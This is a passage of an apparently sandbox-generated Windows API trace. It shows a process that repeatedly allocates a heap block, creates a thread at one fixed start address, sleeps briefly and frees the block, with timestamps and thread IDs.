RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0096.412] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e0 [0096.413] Sleep (dwMilliseconds=0x32) [0096.555] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0096.556] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0096.556] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0096.556] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7ac [0096.556] Sleep (dwMilliseconds=0x32) [0096.699] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0096.699] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0096.699] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0096.699] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x878 [0096.700] Sleep (dwMilliseconds=0x32) [0096.883] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0096.883] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0096.883] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0096.883] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b8 [0096.884] Sleep (dwMilliseconds=0x32) [0097.072] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0097.072] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0097.072] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0097.073] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x898 [0097.073] Sleep (dwMilliseconds=0x32) [0097.188] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0097.188] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0097.188] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0097.188] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d0 [0097.189] Sleep (dwMilliseconds=0x32) [0097.273] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0097.273] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0097.273] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0097.273] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x90c [0097.274] Sleep (dwMilliseconds=0x32) [0097.465] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0097.465] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0097.465] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0097.465] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e8 [0097.466] Sleep (dwMilliseconds=0x32) [0097.588] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0097.588] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0097.588] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0097.588] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x998 [0097.588] Sleep (dwMilliseconds=0x32) [0097.679] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0097.679] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0097.679] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0097.679] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b8 [0097.680] Sleep (dwMilliseconds=0x32) [0097.836] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0097.836] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0097.836] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0097.836] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x978 [0097.837] Sleep (dwMilliseconds=0x32) [0097.957] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0097.957] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0097.957] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0097.957] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f8 [0097.958] Sleep (dwMilliseconds=0x32) [0098.073] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0098.073] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0098.073] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0098.073] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x790 [0098.074] Sleep (dwMilliseconds=0x32) [0098.162] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0098.162] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0098.162] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0098.162] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa2c [0098.162] Sleep (dwMilliseconds=0x32) [0098.263] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0098.263] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0098.263] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0098.263] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa38 [0098.264] Sleep (dwMilliseconds=0x32) [0098.410] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0098.410] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0098.410] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0098.410] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa78 [0098.410] Sleep (dwMilliseconds=0x32) [0098.526] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0098.526] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0098.526] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0098.526] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e4 [0098.527] Sleep (dwMilliseconds=0x32) [0098.639] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0098.639] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0098.640] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0098.640] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a4 [0098.640] Sleep (dwMilliseconds=0x32) [0098.698] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0098.698] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0098.698] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0098.698] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xacc [0098.698] Sleep (dwMilliseconds=0x32) [0098.906] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0098.906] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0098.906] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0098.906] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb58 [0098.907] Sleep (dwMilliseconds=0x32) [0099.036] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0099.036] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0099.036] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0099.036] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb24 [0099.036] Sleep (dwMilliseconds=0x32) [0099.420] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0099.420] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0099.420] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0099.421] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb14 [0099.422] Sleep (dwMilliseconds=0x32) [0099.473] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0099.473] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0099.473] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0099.473] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbc8 [0099.474] Sleep (dwMilliseconds=0x32) [0099.632] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0099.632] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0099.632] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0099.632] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb10 [0099.633] Sleep (dwMilliseconds=0x32) [0099.723] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0099.723] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0099.723] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0099.723] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc3c [0099.724] Sleep (dwMilliseconds=0x32) [0099.842] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0099.842] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0099.842] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0099.842] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb70 [0099.843] Sleep (dwMilliseconds=0x32) [0099.895] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0099.895] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0099.895] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0099.895] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc78 [0099.896] Sleep (dwMilliseconds=0x32) [0100.094] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0100.094] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0100.094] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0100.095] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcc4 [0100.096] Sleep (dwMilliseconds=0x32) [0100.190] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0100.190] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0100.190] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0100.191] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcb8 [0100.191] Sleep (dwMilliseconds=0x32) [0100.313] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0100.313] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0100.313] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0100.313] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcac [0100.314] Sleep (dwMilliseconds=0x32) [0100.408] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0100.408] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0100.408] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0100.408] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x214 [0100.409] Sleep (dwMilliseconds=0x32) [0100.518] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0100.518] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0100.518] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0100.518] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb60 [0100.518] Sleep (dwMilliseconds=0x32) [0100.611] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0100.612] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0100.612] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0100.612] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb78 [0100.613] Sleep (dwMilliseconds=0x32) [0100.718] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0100.718] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0100.718] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0100.719] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaf4 [0100.719] Sleep (dwMilliseconds=0x32) [0100.890] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0100.890] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0100.890] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0100.890] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x694 [0100.891] Sleep (dwMilliseconds=0x32) [0101.000] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0101.000] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0101.000] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0101.000] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x66c [0101.001] Sleep (dwMilliseconds=0x32) [0101.108] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0101.108] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0101.108] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0101.109] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe04 [0101.109] Sleep (dwMilliseconds=0x32) [0101.208] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0101.208] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0101.208] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0101.208] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe24 [0101.209] Sleep (dwMilliseconds=0x32) [0101.305] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0101.305] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0101.305] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0101.305] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe0c [0101.306] Sleep (dwMilliseconds=0x32) [0101.442] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0101.442] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0101.442] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0101.442] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xde4 [0101.443] Sleep (dwMilliseconds=0x32) [0101.625] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0101.625] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0101.625] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0101.625] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xeac [0101.625] Sleep (dwMilliseconds=0x32) [0101.885] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0101.885] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0101.885] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0101.885] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xee4 [0101.886] Sleep (dwMilliseconds=0x32) [0102.216] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0102.216] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0102.216] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0102.216] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf70 [0102.217] Sleep (dwMilliseconds=0x32) [0102.289] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0102.289] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0102.290] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0102.290] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfa4 [0102.290] Sleep (dwMilliseconds=0x32) [0102.410] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0102.410] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0102.410] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0102.410] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfd0 [0102.411] Sleep (dwMilliseconds=0x32) [0102.516] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0102.516] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0102.516] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0102.516] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc8 [0102.516] Sleep (dwMilliseconds=0x32) [0102.660] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0102.660] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0102.660] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0102.660] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1034 [0102.661] Sleep (dwMilliseconds=0x32) [0102.893] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0102.893] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0102.893] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0102.893] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1074 [0102.894] Sleep (dwMilliseconds=0x32) [0103.480] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0103.480] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0103.480] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0103.480] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1154 [0103.481] Sleep (dwMilliseconds=0x32) [0103.602] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0103.602] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0103.602] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0103.886] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: 